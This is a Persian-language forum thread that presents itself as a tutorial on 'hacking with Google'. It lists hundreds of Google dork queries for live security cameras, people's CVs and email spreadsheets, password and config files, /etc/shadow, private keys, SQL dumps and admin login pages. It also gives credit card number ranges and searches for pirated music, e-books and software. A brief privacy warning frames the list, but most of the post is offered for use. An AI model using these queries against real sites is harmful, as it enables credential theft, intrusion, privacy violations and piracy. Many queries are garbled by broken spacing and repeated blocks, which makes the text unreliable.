Parsi Coders

صفحات: 1 2

من در این ترفند میخوام اموزش بدم که چطوری از طریق گوگل هک کنیم !
منبع اولی از سایت نگهبان هست و بقیه خودم جمع اوری کردم.
امنیت اطلاعات کاری و شخصی برای همه ما امری مهم و حیاتی به شمار می رود. اما بسیاری از اوقات بدون هیچ گونه دقت و مراقبه ای اطلاعات مان را در اینترنت رها می کنیم و امید واهی داریم که در این دنیای شلوغ و بی در و پیکر نت، کسی نتواند آنها را بیابد. برای اینکه نشان دهیم اهمیت انتشار اطلاعات شخصی و اداری مهم و محرمانه بدون حفاظت و برنامه ریزی صحیح روی اینترنت، تا چه حد می تواند خطرناک باشد، در این مطلب به برخی شیوه های سرچ گوگل برای دست یابی به اطلاعات ویژه می پردازیم.

گوگل تقریبا80 درصد همه جستجوهای اینترنتی را پاسخگو است و به عنوان معروف ترین موتور جستجو شناخته می شود. گوگل این امکان را می دهد که نه تنها به منابع اطلاعاتی معروف بلکه به برخی از محرمانه ترین اطلاعاتی که نباید فاش شوند، دسترسی داشته باشید. در این قسمت طریقه استفاده از گوگل برای بهره برداری از اطلاعات حساس وب سایت ها را نشان خواهم داد. در زیر لیست برخی از هک ها که می تواند بااستفاده از گوگل صورت پذیرد قرار دارد.

۱. هک دوربین های امنیتی
دوربینهای زیادی برای نظارت بر اماکنی مانند پارکینگ ها، فضای دانشگاه ها، ترافیک خیابان ها و.. استفاده می شوند. این دوربین ها به راحتی توسط گوگل هک می شوند و شما می توانید تصاویر لحظه ای آن دوربین ها را ببینید. تمام کاری که باید انجام بدید استفاده از جستجوگر گوگل است. عبارت زیر را دقیقا در جستجوگر گوگل تایپ کرده و اینتر را فشار دهید.

کد:
inurl:”viewerframe?mode=motion”

روی نتایج جستجوها (به خصوص ۵ لینک اول) کلیک کنید، تا به دوربین های پخش زنده با امکان کنترل کامل آنها دسترسی داشته باشید.

اکنون شما به دوربین های زنده که درحال حاضر مشغول به کار هستند دسترسی دارید. همچنین میتوانید دوربین ها را به تمام چهار جهت بچرخانید و کارهایی مثل زوم به جلو و عقب را انجام دهید. این دوربینها اغلب سرعت بازیابی کمی دارند. اما دستورهای جستجوی دیگری هم وجود دارند که از طریق آن می توانید به دوربین های با سرعت بازیابی سریع تر، دست یابید. برای دسترسی به آنها، تنها کافی است از عبارت جستجوی زیر استفاده کنید

کد:
intitle:”Live View / – AXIS”

برای دسترسی به گروه های مختلفی از دوربین های زنده، روی هر یک از نتایج جستجو کلیک کنید. خب، شما با استفاده از گوگل، دوربین های امنیتی را هک کردید.

۲. هک اسناد محرمانه و شخصی
استفاده از گوگل امکان دسترسی به لیست حاوی ایمیل و سوابق کاری CV صدها نفر را به شما می دهد. این نتایج می توانند شامل اسناد حاوی آدرس، تلفن، تاریخ تولد، تحصیلات، سوابق کاری و... باشد. برای دستیابی به چنین اطلاعاتی، تنها چند ثانیه زمان لازم دارید:

کد:
intitle:”curriculum vitae” “phone * * *” “address *” “e-mail”

علاوه بر این می توانید به فهرستی از .xls (فایل های اکسل) که حاوی اطلاعات تماس، شامل آدرس و ایمیل گروه زیادی از افراد است، دست یابید. عبارت جستجوی زیر را بنویسید و اینتر را فشار دهید:

کد:
filetype:xls inurl:”email.xls”

همچنین برای دسترسی به اسناد حاوی اطلاعات حساب بانکی، گزارش های مالی و شماره کارت اعتباری از عبارت جستجوی زیر استفاده کنید:

کد:
intitle:index.of finances.xls

۳. هک با گوگل به منظور دسترسی به اجناس رایگان
به دنبال راهی برای دستیابی رایگان به موسیقی ها و کتاب های الکترونیک هستنید؟ خب اینجا راهی برای انجام این کار داریم. برای دانلود موسیقی، فقط عبارت جستجوی زیر را در کادر وارد کنید و اینتر را بزنید:

کد:
“?intitle:index.of?mp3 eminem“

اکنون به فهرست تمام آلبوم های امینم دسترسی دارید و میتوانید آهنگ ها را به انتخاب خودتان دانلود کنید. به جای امینم میتوانید اسم خواننده مورد علاقه تان را جایگزین کنید.برای جستجو کتابهای الکترونیکی فقط کافی است امینم را با نام کتاب مورد علاقه تان جایگزین کنید. همچنین mp3 را به pdf ,zip یا rar تغییر دهید.

۴. از طریق گوگل و برخی فنون جستجو، می توانیم اطلاعات جالبی پیدا کنیم

کد:
intitle:”Index of” passwords modified

allinurl:authuserfile.txt

“access denied for user” “using password”

“A syntax error has occurred” filetype:ihtml

allinurl: admin mdb

“ORA-00921: unexpected end of SQL command”

inurl:passlist.txt

“Index of /backup”

“Chatologica MetaSearch” “stack tracking:”

Amex Numbers: 300000000000000..399999999999999

MC Numbers: 5178000000000000..5178999999999999

visa 4356000000000000..4356999999999999

“parent directory ” /appz/ -xxx -html -htm 

php -shtml -opendivx -md5 -md5sums

“parent directory ” DVDRip -xxx -html -htm 

php -shtml -opendivx -md5 -md5sums

“parent directory “Xvid -xxx -html -htm -php

-shtml -opendivx -md5 -md5sums

“parent directory ” Gamez -xxx -html -htm -p

hp -shtml -opendivx -md5 -md5sums

“parent directory ” MP3 -xxx -html -htm -php

 -shtml -opendivx -md5 -md5sums

“parent directory ” Name of Singer or album 

-xxx -html -htm -php -shtml -opendivx -md5- 

md5sums

توجه کنید که من تنها لغت بعد از فولدر اصلی را تغییر داده ام، آن را به هر چه که می خواهید تغییر دهید. به موارد زیادی دست خواهید یافت.

روش دوم: این عبارت را در جستجوی گوگل قرار دهید

کد:
?intitle:index.of? mp3

کافی است فقط اسم آهنگ، موسیقی دان یاخواننده را اضافه کنید

کد:
?intitle:index.of? mp3 jackson

روش سوم: این عبارت را در گوگل جستجو کنید

کد:
inurl:microsoft filetype:iso

می توانید عبارت را به هرچه می خواهید تغییر دهید. مثلا microsoft به adobe یا iso به zip و ...

به عنوان مثال میتوانید شماره کارت اعتباری, رمزهای عبور, نرم افزار/MP3 و... را پیدا کنید. در زیر نمونه هایی از جستجوهای جالب گوگب را می بینید. از این طریق می توانیم اطلاعات شخصی افراد که ممکن است دوست نداشته باشند بقیه به آنها دسترسی داشته باشند را بیابیم. بعد از امتحان کردن برخی از این موارد، سعی کنید از مهارت جستجوی خودتان برای دستیابی به اطلاعاتی که می تواند برای تان جالب باشد استفاده کنید.

روش اول: تعدادی از این جستجوها را امتحان کنید.

کد:
intitle:”Index of” passwords modified

allinurl:authuserfile.txt

“access denied for user” “using password”

“A syntax error has occurred” filetype:ihtml

allinurl: admin mdb

“ORA-00921: unexpected end of SQL command”

inurl:passlist.txt

“Index of /backup”

“Chatologica MetaSearch” “stack tracking:”

Amex Numbers: 300000000000000..399999999999999

MC Numbers: 5178000000000000..5178999999999999

visa 4356000000000000..4356999999999999

“parent directory ” /appz/ -xxx -html -htm 

php -shtml -opendivx -md5 -md5sums

“parent directory ” DVDRip -xxx -html -htm 

php -shtml -opendivx -md5 -md5sums

“parent directory “Xvid -xxx -html -htm -php

-shtml -opendivx -md5 -md5sums

“parent directory ” Gamez -xxx -html -htm -p

hp -shtml -opendivx -md5 -md5sums

“parent directory ” MP3 -xxx -html -htm -php

 -shtml -opendivx -md5 -md5sums

“parent directory ” Name of Singer or album 

-xxx -html -htm -php -shtml -opendivx -md5- 

md5sums

کد:
?intitle:index.of? mp3

کافی است فقط اسم آهنگ، موسیقی دان یاخواننده را اضافه کنید

کد:
?intitle:index.of? mp3 jackson

روش سوم: این عبارت را در گوگل جستجو کنید

کد:
inurl:microsoft filetype:iso

می توانید عبارت را به هرچه می خواهید تغییر دهید. مثلا microsoft به adobe یا iso به zip و ...

کد:
“# -FrontPage-” inurl:service.pwd

رمزهای عبور Frontpage.. فهرستی از نتایج جذاب را در بر خواهد داشت

“http://:@www” domainnameاین عبارتی برای دستیابی به رمز عبور از طریق موتورهای جستجو (نه فقط گوگل) است. شما باید عبارت جستجوی زیر را با اسم دامنه بدون پسوندهایی چون .com یا .net بنویسید.

“sets mode: +k”این جستجو رمزهای عبور IRC را از فهرست چت IRC نشان میدهد.

کد:
allinurl: admin mdb

با این عبارت جستجو هم به صفحات زیادی حاوی نام کاربری و رمزعبور پایگاه داده های تعداد زیادی از سایت ها دست خواهید یافت.

کد:
intitle:”Index of” config.php

این جستجو سایتهای دارای فایل “config.php”را لیست می کند. به منظور رهایی از بحث های تکنیکی،این نوع فایل حاوی نام کاربری و رمزعبور برای پایگاه داده های SQL است.

intitle:index.of.etcجستجو در پوشه etc سایت ها می تواند بسیار سرگرم کننده باشد. زیرا بسیاری اوقات رمزهای عبور فراوانی را در آن می توانید بیابید.

به نظر می رسد الان دیگر کاملا متوجه شده اید که چه خطراتی می تواند زندگی آنلاین شما را تهدید کند. اگر قصد خرید کالا به صورت آنلاین دارید، مطمئن شوید سایت که از امنیت معمول برخوردار است. یکی از این علائم می تواند قفل زرد رنگ پایین صفحه مرورگر باشد.
همیشه به حس خودتان اعتماد کنید. اگر ظاهر سایتی آنقدر بد و ضعیف و به هم ریخته است که نمی تواند حس اعتماد و امنیت را در شما برانگیزد، احتمالا آنقدر هم خوب نیست که بتواند امنیت اطلاعات شما را حفظ کند. نمیگویم که خرید آنلاین انجام ندهید زیرا بهترین قسمت اینترنت، همین است. فقط در مورد سایت هایی که اطلاعات بانکی شما را می خواهند و علامت قفل در پایین مرورگرشما ندارند، احتیاط کنید.

All Google Hacking Keywords

بای این کدها میتونید کلی باگ از سایت ها و خیلی کارهای دیگر کنید لطفا استفاده درست کنید فردا پس فردا 2 3 تا گوره هک پیدا نشه Rolleyes

کد:
Code: 

admin account info" filetype: log 

!Host=* .* intext:enc_UserPassword=* ext:pcf 

"# - FrontPage- " ext:pwd inurl:(service | authors | administrators | users) "# - FrontPage- " 

inurl: service.pwd 

"Aut oCreate=TRUE password=* " 

"ht t p: / / * : * @www" domainname 

"index of/" "ws_ftp.ini" "parent direct ory" 

"liveice configuration file" ext:cfg - site: sourceforge.net 

"parent directory" +proftpdpasswd 

"Duclassified" - site: duware.com "DUware All Right s reserved"

 "duclassmate" - site:duware.com

 "Dudirectory" - site: duware.com

 "dudownload" -site:duware.com

 "Elit e Forum Version * .* "

 "Link Depart ment "

 "set s mode: +k" 

"your password is" filetype: log 

"DUpaypal" - site: duware.com

 allinurl: admin mdb 

aut h_user_file.t xt 

config.php 

eggdrop filetype:user user 

enable password | secret "current configuration" - intext:the 

etc (index.of)

کد:
ext:asa | ext:bak intext:uid intext:pwd - "uid..pwd" database | server | dsn 

ext:inc "pwd=" "UID="

 ext : ini eudora.ini 

ext : ini Version=4.0.0.4 password 

ext:passwd - intext:the - sample - example 

ext:txt inurl:unattend.txt 

ext:yml database inurl:config 

filetype:bak createobject sa 

filet ype: bak inurl: "ht access| passwd| shadow| ht users" 

filetype:cfg mrtg "target 

filetype: cfm "c fapplication name" password 

filetype:conf oekakibbs 

filetype:conf slapd.conf 

filetype: config config intext:appSettings "User ID" 

filetype:dat "password.dat" 

filetype:dat inurl:Sites.dat 

filetype:dat wand.dat 

filetype:inc dbconn 

filetype:inc intext:mysql_connect 

filetype:inc mysql_connect OR mysql_pconnect 

filetype:inf sysprep 

filetype: ini inurl:"serv- u.ini" filetype: ini inurl:flashFXP.ini filetype: ini ServUDaemon

 filetype: ini wcx_ftp 

filetype: ini ws_ftp pwd 

filetype: ldb admin 

filetype:log "See ` ipsec - - copyright" 

filetype: log inurl:"password.log" 

filetype: mdb inurl:users.mdb 

filetype:mdb wwforum 

filetype:netrc password 

filetype: pass pass int ext: userid

 filetype:pem intext:private

 filetype:properties inurl:db intext:password

 filetype:pwd service 

filetype:pwl pwl 

filetype:reg reg +intext:"defaultusername" +intext:"defaultpassword" 

filetype: reg reg +int ext : â? WINVNC3â? 

filetype: reg reg HKEY_CURRENT_USER SSHHOSTKEYS 

filetype:sql "insert into" (pass| passwd| password) 

filetype: sql ("values * MD5" | "values * password" | "values * encrypt ") 

filetype: sql +"IDENTIFIED BY" - cvs 

filetype: sql password 

filetype:url +inurl:"ftp://" +inurl:";@" filetype: xls username password email ht passwd

 htpasswd / htgroup 

htpasswd / htpasswd.bak 

intext:"enable password 7" 

int ext:"enable secret 5 $" 

int ext : " 

EZGu est book" 

int ext : " 

Web Wiz Journal" 

intitle:"index of" intext:connect.inc 

int it le: "index of" int ext : globals.inc

int it le: "Index of" passwords modified 

intitle:"Index of" sc_serv.conf sc_serv content 

intitle:"phpinfo()" +"mysql.default_password" +"Zend s• ri ting Language Engine" 

intitle:dupics inurl:(add.asp | default.asp | view.asp | voting.asp) - site: duware.com 

intitle:index.of administrators.pwd 

intitle:Index.of etc shadow 

intitle:index.of intext:"secring.skr"| "secring.pgp"| "secring.bak" 

intitle:rapidshare int ext:login 

inurl: "c alendars• ri t / users.t xt " 

inurl:"edit or/list .asp" | inurl:"database_edit or.asp" | inurl:"login.asa" "are set " 

inurl:"GRC.DAT" intext:"password" 

inurl: "Sit es.dat "+"PASS="

 inurl:"slapd.conf" intext:"credentials" - manpage - "Manual Page" - man: - sample

 inurl:"slapd.conf" intext:"rootpw" - manpage - "Manual Page" - man: - sample

 inurl:"wvdial.conf" intext:"password"

 inurl: / db/ main.mdb 

inurl: / wwwboard 

inurl: / yabb/ Members/ Admin.dat 

inurl:ccbill filet ype: log 

inurl:cgi- bin inurl:calendar.cfg 

inurl:chap- secrets - cvs 

inurl:config.php dbuname dbpass 

inurl: filezilla.xml - cvs 

inurl:lilo.conf filetype:conf password - tatercounter2000 -bootpwd -man 

inurl:nuke filetype:sql 

inurl:ospfd.conf intext:password - sample -test -tutorial - download 

inurl:pap- secrets - cvs 

inurl: pass.dat 

inurl:perform filetype: ini 

inurl:perform.ini filet ype: ini 

inurl:secring ext:skr | ext:pgp | ext:bak 

inurl:server.cfg rcon password 

inurl:vent rilo_srv.ini adminpassword 

inurl:vtund.conf intext:pass - cvs 

inurl:zebra.conf intext:password - sample -test -tutorial - download 

LeapFTP int it le: "index.of./ " sit es.ini modified 

mast er.passwd 

mysql hist ory files 

NickServ regist ration passwords 

passlist 

passlist.txt (a better way) 

passwd 

passwd / et c (reliable) 

people.lst 

psyBNC config files 

pwd.db 

server- dbs "intitle:index of" 

signin filetype: url 

spwd.db / passwd 

t rillian.ini 

wwwboard WebAdmin inurl:passwd.txt wwwboard| webadmin 

[WFClient] Password= filetype:ica 

int it le: "remote assessment " OpenAanval Console 

int it le:opengroupware.org "resistance is obsolete" "Report Bugs" "Username" "password" 

"bp blog admin" intitle:login | intitle:admin - site: johnny.ihackstuff.com 

"Emergisoft web applications are a part of our" 

"Est ablishing a secure Int egrat ed Light s Out session wit h" OR int it le: "Data Frame - Browser

not HTTP 1.1 compat ible" OR int it le: "HP Int egrat ed Light s- 

"Host ingAccelerat or" int it le: "login" +"Username" - "news" - demo

 "iCONECT 4.1 : : Login" 

"IMail Server Web Messaging" int it le: login 

"inspanel" int it le:"login" - "cannot " "Login ID" - sit e:inspediumsoft .com 

"intitle: 3300 Integrated Communications Platform" inurl:main.htm 

"Login - Sun Cobalt RaQ" 

"login prompt " inurl:GM.cgi 

"Login t o Usermin" inurl:20000

 "Microsoft CRM : Unsupported Browser Version"

 "OPENSRS Domain Management " inurl:manage.cgi

 "pcANYWHERE EXPRESS Java Client " 

"Please authenticate yourself to get access to the management interface" 

"please log in" 

"Please login wit h admin pass" - "leak" - sourceforge 

"Cut eNews" "2003..2005 Cut ePHP"

 "DWMail" password int it le: dwmail

 "Merak Mail Server Software" - .gov - .mil - .edu - site: merakmailserver.com

 "Midmart Messageboard" "Administ rat or Login"

 "Monst er Top List " MTL numrange:200-

 "UebiMiau" - site: sourceforge.net

 "sit e info for" "Ent er Admin Password" 

"SquirrelMail version" "By t he SquirrelMail Development Team"

 "SysCP - login" 

"This is a rest ricted Access Server" "Javas• ri t Not Enabled!"| "Messenger Express" - edu - ac 

"This sect ion is for Administ rators only. If you are an administ rat or t hen please" 

"t t awlogin.cgi/ ?act ion="

 "VHCS Pro ver" - demo

 "VNC Deskt op" inurl:5800 

"Web- Based Management " "Please input password t o login" - inurl:johnny.ihackst uff.com 

"WebExplorer Server - Login" "Welcome t o WebExplorer Server" 

"WebSTAR Mail - Please Log I n" 

"You have request ed access t o a rest ricted area of our website. Please authenticate 

yourself to continue." 

"You have requested to access the management functions" - .edu 

(int it le: "Please login - Forums

 UBB.threads")| (inurl:login.php "ubb") 

(int it le: "Please login - Forums

 WWWThreads")| (inurl: "wwwt hreads/ login.php")| (inurl: "wwwt hreads/ login.pl?Cat =") 

(intitle:"rymo Login")| (intext:"Welcome to rymo") - family 

(intitle:"WmSC e-Cart Administration")| (intitle:"WebMyStyle e-Cart Administration") 

(inurl:"ars/cgi- bin/arweb?O=0" | inurl:arweb.jsp) - site:remedy.com - site:mil 

4images Administ rat ion Cont rol Panel 

allintitle:"Welcome to the Cyclades" 

allinurl: "exchange / logon.asp" 

allinurl:wps/portal/ login 

ASP.login_aspx "ASP.NET_SessionId" 

CGI: IRC Login 

ext:cgi int itle:"control panel" "enter your owner password t o continue!" 

ez Publish administ rat ion 

filetype:php inurl:"webeditor.php"

کد:
int it le: "Merak Mail Server Web Administ rat ion" - ihackst uff.com 

intitle:"microsoft certificate services" inurl:certsrv 

int it le: "MikroTik Rout erOS Managing Webpage" 

int it le: "MX Cont rol Console" "If you can't remember" 

intitle:"Novell Web Services" "GroupWise" - inurl:"doc/11924" - .mil - .edu - .gov - filetype:pdf 

int it le: "Novell Web Services" int ext : "Select a service and a language." 

int it le: "oMail- admin Administ ration - Login" - inurl:omnis.ch 

int it le: "OnLine Recruit ment Program - Login" 

intitle:"Philex 0.2* " -s• ri t - site:freelists.org

 int it le: "PHP Advanced Transfer" inurl:"login.php"

 intitle:"php icalendar administration" - site: sourceforge.net

 intitle:"php icalendar administration" - site: sourceforge.net

 int it le: "phpPgAdmin - Login" Language 

int it le: "PHProjekt - login" login password 

int it le: "please login" "your password is * " 

int it le:"Remote Deskt op Web Connect ion" inurl:t sweb 

int it le: "SFXAdmin - sfx_global" | int it le: "SFXAdmin - sfx_local" | int it le: "SFXAdmin - sfx_t est " 

intitle:"SHOUTcast Administrator" inurl:admin.cgi 

int it le: "site administ rat ion: please log in" "sit e designed by emarket sout h" 

intitle:"Supero Doctor III" - inurl:supermicro 

intitle:"SuSE Linux Openexchange Server" "Please activate Javas• ri t !" 

intitle:"teamspeak server- administration 

intitle:"Tomcat Server Administration" 

intitle:"TOPdesk ApplicationServer" 

int it le: "TUTOS Login" 

int it le: "TWIG Login" 

intitle:"vhost" intext:"vHost . 2000- 2004" 

int it le: "Virt ual Server Administ ration Syst em"

 int it le: "VisNetic WebMail" inurl: "/ mail/ " 

intitle:"VitalQIP IP Management System"

 intitle:"VMware Management Interface: " inurl:"vmware/en/"

 int it le: "VNC viewer for Java"

 intitle:"web- cyradm"| "by Luc de Louw" "This is only for authorized users" - t ar.gz - site: web-

 cyradm.org 

int it le: "WebLogic Server" int it le: "Console Login" inurl:console

 int it le: "Welcome Site/ User Administ rat or" "Please select t he language" - demos

 int it le: "Welcome t o Mailt raq WebMail"

 intitle:"welcome to netware * " -site:novell.com 

int it le: "WorldClient " int ext : "? (2003| 2004) Alt - N Technologies." 

intitle:"xams 0.0.0..15 - Login" 

int it le: "XcAuct ionLit e" | "DRIVEN BY XCENT" Lit e inurl:admin 

int it le: "XMail Web Administ rat ion Int erface" int ext : Login int ext :password 

int it le: "Zope Help Syst em" inurl:HelpSys 

int it le: "ZyXEL Prest ige Rout er" "Enter password" 

intitle:"inc. vpn 3000 concentrator" 

int it le: ("TrackerCam Live Video") | ("TrackerCam Application Login")| ("Trackercam Remot e") - 

t rackercam. com 

intitle:asterisk.management.portal web- access 

intitle:endymion.sak?.mail.login.page | inurl:sake.servlet 

intitle:Group- Office "Enter your username and password to login" 

int it le: ilohamail " 

IlohaMail" 

int it le: ilohamail int ext : "Version 0.8.10" " 

IlohaMail" 

int it le: IMP inurl: imp/ index.php3 

int it le:Login * Webmailer 

int it le:Login int ext : "RT is ? Copyright "

کد:
int it le: "Web Server St atist ics for* * * * "

 int it le: "web server st atus" SSH Telnet

 int it le: "Welcome t o F- Secure Policy Manager Server Welcome Page"

 int it le: "welcome.t o.squeezebox" 

int it le:admin int it le: login 

intitle:Bookmarks inurl:bookmarks.html "Bookmarks 

int it le: index.of "Apache" "server at" 

intitle:index.of cleanup.log intitle:index.of dead.letter intitle:index.of inbox

 int it le: index.of inbox dbx 

intitle:index.of ws_ftp.ini 

intitle:intranet inurl:intranet +intext:"phone" 

inurl: "/ axs/ ax- admin.pl" - s• ri t 

inurl: "/ cricket / grapher.cgi" 

inurl: "bookmark.ht m"

 inurl:"c act i" +inurl:"graph_view.php" +"Set tings Tree View" - cvs - RPM 

inurl: "n ewslet t er/ admin/ " 

inurl:"newsletter/admin/" intitle:"newsletter admin" 

inurl: "put t y.reg" 

inurl:"smb.conf" intext:"workgroup" filetype:conf conf 

inurl:* db filetype:mdb 

inurl: / cgi- bin/ pass.t xt 

inurl: / _layout s/ set t ings 

inurl:admin filetype:xls 

inurl:admin int it le: login 

inurl:backup filetype:mdb 

inurl: build.err 

inurl: cgi- bin/ print env 

inurl:cgi- bin/testcgi.exe "Please distribute TestCGI" 

inurl: changepassword.asp 

inurl: ds.py 

inurl:email filet ype: mdb 

inurl: fcgi- bin/ echo 

inurl:forum filetype: mdb 

inurl:forward filetype:forward -cvs 

inurl: get msg.ht ml int it le: hot mail 

inurl:log.nsf - gov 

inurl:main.php phpMyAdmin 

inurl:main.php Welcome to phpMyAdmin 

inurl: net scape.hst inurl: net scape.hst inurl: net scape.ini

 inurl:odbc.ini ext : ini - cvs 

inurl: perl/ print env 

inurl:php.ini filetype: ini 

inurl:preferences.ini "[ emule] " 

inurl:profiles filetype:mdb 

inurl:report "EVEREST Home Edit ion " 

inurl:server- info "Apache Server Information" 

inurl:server- status "apache" inurl: snit z_forums_2000.mdb inurl:ssl.conf filetype:conf

 inurl: t dbin 

inurl:vbstats.php "page generated" 

inurl:wp- mail.php + "There doesn't seem t o be any new mail." 

inurl: XcCDONTS.asp 

www.parsicoders.com

All Google Hacking Keywords 

by amin mansouri

ipsec.conf

 ipsec.secret s

 ipsec.secret s

 Lot usDo m i n o address books 

mail filetype:csv - site: gov intext:name

 Microsoft Money Dat a Files 

mt - db- pass.cgi files 

MySQL t abledat a dumps 

myst uff.xml - Trillian dat a files 

OWA Public Folders (direct view) 

Peoples MSN cont act list s 

php- addressbook "This is t he addressbook for * " - warning 

phpinfo() 

phpMyAdmin dumps

 phpMyAdmin dumps

 privat e key files (.csr)

 privat e key files (.key)

 Quicken dat a files 

rdbqds - site:.edu - site: .mil - site:.gov 

robot s.t xt 

site: edu admin grades 

site: www.mailinator.com inurl:ShowMail.do 

SQL dat a dumps 

Squid cache server report s 

Unreal IRCd 

WebLog Referrers 

Welcome to ntop! 

Fichier cont enant des informat ions sur le r?seau : 

filetype:log intext:"ConnectionManager2" 

"apricot - admin" 00h 

"by Reimar Hoven. All Right s Reserved. Disclaimer" | inurl:"log/logdb.dt a" 

"Network Host Assessment Report " "Internet Scanner" 

"Output produced by SysWatch * " 

"Phorum Admin" "Dat abase Connect ion" inurl:forum inurl:admin 

"phpOpenTracker" St atist ics

 "powered | performed by Beyond Security's Automated Scanning" - kazaa - example

"Shadow Securit y Scanner performed a vulnerabilit y assessment " 

"SnortSnarf alert page" 

"The following report cont ains confident ial informat ion" vulnerabilit y - search 

"The statistics were last upd t d" "Daily"- microsoft.com 

"t his ....... is working fine!" "ent er * " "URL* * * " * visit 

"This report lists" "ident ified by Int ernet Scanner"

 "Traffic Analysis for" "RMON Port * on unit * "

 "Version Info" "Boot Version" "Int ernet Set t ings"

 ((inurl:ifgraph "Page generat ed at ") OR ("This page was built using ifgraph"))

 Analysis Console for Incident Dat abases

 ext:cfg radius.cfg 

ext :cgi int ext: "nrg- " " This web page was created on " 

filetype: pdf "Assessment Report" nessus

 filetype:php inurl:ipinfo.php "Distributed Intrusion Detection System"

 filetype:php inurl:nqt intext:"Network Query Tool"

 filetype: vsd vsd network - samples - examples 

intext:"Welcome to the Web V.Networks" intitle:"V.Networks [Top]" -filetype:htm 

www.parsicoders.com

All Google Hacking Keywords 

by amin mansouri

روش های که ذکر شده هر کدوم یه یه نحوی هست و تشریح هر کدوم از روش ها خیلی وقت میبره خودتون برید دنبالش ادامه :

کد:
"Unable t o jump t o row" "on MySQL result index" "on line" 

"Unclosed quot at ion mark before t he character st ring" 

"Warning: Bad argument s t o (join| implode) () in" "on line" - help - forum 

"Warning: Cannot modify header informat ion - headers already sent " 

"Warning: Division by zero in" "on line" - forum 

"Warning: mysql_connect(): Access denied for user: '* @* " "on line" - help - forum 

"Warning: mysql_query()" "invalid query" 

"Warning: pg_connect (): Unable t o connect t o Post greSQL server: FATAL" 

"Warning: Supplied argument is not a valid File- Handle resource in"

 "Warning:" "failed t o open st ream: HTTP request failed" "on line"

 "Warning:" "SAFE MODE Rest rict ion in effect." "The s• ri t whose uid is" "is not allowed t o

 access owned by uid 0 in" "on line"

 "SQL Server Driver][SQL Server]Line 1: Incorrect syntax near" 

An unexpected t oken "END- OF- STATEMENT" was found 

Coldfusion Error Pages 

filet ype: asp + "[ ODBC SQL" 

filetype: asp "Cust om Error Message" Cat egory Source 

filet ype: log "PHP Parse error" | "PHP Warning" | "PHP Error" 

filetype:php inurl:"logging.php" "Discuz" error 

ht://Dig htsearch error 

IIS 4.0 error messages 

IIS web server error messages 

Int ernal Server Error 

int ext : "Error Message : Error loading required libraries." int ext : "Warning: Failed opening" "on line" "include_pat h" int it le: "Apache Tomcat " "Error Report "

 intitle:"Default PLESK Page" 

intitle:"Error Occurred While Processing Request" +WHERE (SELECT| INSERT) filetype: cfm

 int it le: "Error Occurred" "The error occurred in" filetype: cfm

 int it le: "Error using Hypernews" "Server Software"

 intitle:"Execution of this s• ri t not permitted" 

intitle:"Under construction" "does not currently have" 

intitle:Configuration.File inurl:softcart.exe 

MYSQL error message: supplied argument....

 my sql error wit h query 

Netscape Application Server Error page

 ORA- 00921: unexpected end of SQL command

 ORA- 00921: unexpected end of SQL command

 ORA- 00936: missing expression 

PHP application warnings failing "include_pat h" 

sit ebuildercont ent 

sit ebuilderfiles 

sit ebuilderpict ures 

Snitz! forums db path error 

SQL synt ax error

 Supplied argument is not a valid Post greSQL result

 warning "error on line" php sablot ron

 Windows 2000 web server error messages 

"f tp://" "www.eastgame.net" 

"ht ml allowed" guest book 

": vBullet in Version 1.1.5"

 "Select a database to view" int it le: "filemaker pro" 

"set up t he administ rat or user" inurl:pivot 

"There are no Administ rators Account s" inurl:admin.php - my sql_fet ch_row 

"Welcome t o Administ rat ion" "General" "Local Domains" "SMTP Aut hent icat ion" inurl:admin 

"Welcome to Intranet" 

www.parsicoders.com 

All Google Hacking Keywords 

by amin mansouri

"Welcome to PHP- Nuke" congratulations 

"Welcome to the Prestige Web- Based Configurator" 

"YaBB SE Dev Team"

 "y ou can now password" | "t his is a special page only seen by you. your profile visit ors" 

inurl: imc haos 

("Indexed.By"| "Monitored.By") hAcxFtpScan 

(inurl:/shop.cgi/page=) | (inurl:/shop.pl/page=) 

allinurl:"index.php" "sit e=sglinks" 

allinurl: inst all/ inst all.php 

allinurl:intranet admin 

filetype: cgi inurl:"fileman.cgi" 

filetype: cgi inurl:"Web_Store.cgi" 

filetype:php inurl:vAuthenticate 

filetype: pl intitle:"Ultraboard Setup" 

Gallery in configurat ion mode

 Hassan Consult ing's Shopping Cart Version 1.18

 int ext : "Warning: * am able * writ e * * configuration file" "includes/ configure.php" -

 intitle:"Gateway Configuration Menu" 

intitle:"Horde :: My Portal" - "[Tickets" 

int it le: "Mail Server CMailServer Webmail" "5.2" 

intitle:"MvBlog powered"

 intitle:"Remote Desktop Web Connection"

 int it le: "Samba Web Administ ration Tool" int ext : "Help Workgroup"

 int it le: "Terminal Services Web Connect ion" 

int it le: "Uploader - Uploader v6" - pixloads.com 

int it le: osCommerce inurl: admin int ext : "redist ribut able under t he GNU" int ext : "Online Cat alog" 

- demo - site: oscommerce.com 

intitle:phpMyAdmin "Welcome to phpMyAdmin * * * " "running on * as root@* " intitle:phpMyAdmin "Welcome to phpMyAdmin * * * " "running on * as root@* " inurl: "/ NSearch/ AdminServlet "

 inurl:"index.php? module=ew_filemanager" 

inurl: aol* / _do/ rss_popup?blogI D= 

inurl: foot er.inc.php

 inurl: info.inc.php

 inurl: ManyServers.ht m

 inurl:newsdesk.cgi? inurl:"t ="

 inurl: pls/ admin_/ gat eway.ht m 

inurl: rpSys.ht ml

 inurl:search.php vbulletin 

inurl: servlet / webacc 

natterchat inurl:home.asp -site:natterchat.co.uk 

XOOPS Cust om Inst allat ion 

inurl:htpasswd filetype:htpasswd 

inurl: yapboz_det ay.asp 

+ View Webcam User Accessing 

allinurl:control/ multiview 

inurl:" View erFram e?Mode= " 

intitle:"WJ-NT104 Main Page" 

inurl:netw_tcp.shtm l 

intitle:"supervisioncam protocol"

عجب چیزی بود!
دمت گرم.
فقط کاش اگر وقت کردی در مورد قسمت دوم نوشته هات هم توضیح بدی.
با تشکر

سلام پارسا جان
من هم چند تا کتاب در مورد (هک گوگل-e bay-یاهو-فایر فاکس-جی میل-
-Visual Studio
HacksNokia- Smartphone Hacks Linux Desktop Hacksو.......) دارم ولی انگیلیسی و من هیچی متوجه
نمی شم و همین رو می دونم پیشرفتن اگر حوصله خوندنس رو داری بران اپلود کنم

گفتمش نقاش را نقشی بکش از زندگی
با قلم نقش حبابی بر لب دریا کشید

حالشو ببرید

کد:
intitle: private, protected, secret, secure, winnt

intitle:"DocuShare" inurl:"docushare/dsweb/" -faq -gov -edu

"#mysql dump" filetype:sql

"#mysql dump" filetype:sql faaaaeafc

"allow_call_time_pass_reference" "PATH_INFO"

"Certificate Practice Statement" inurlPDF | DOC)

LeapFTP intitle:"index.of./" sites.ini modified

master.passwd

mysql history files

NickServ registration passwords

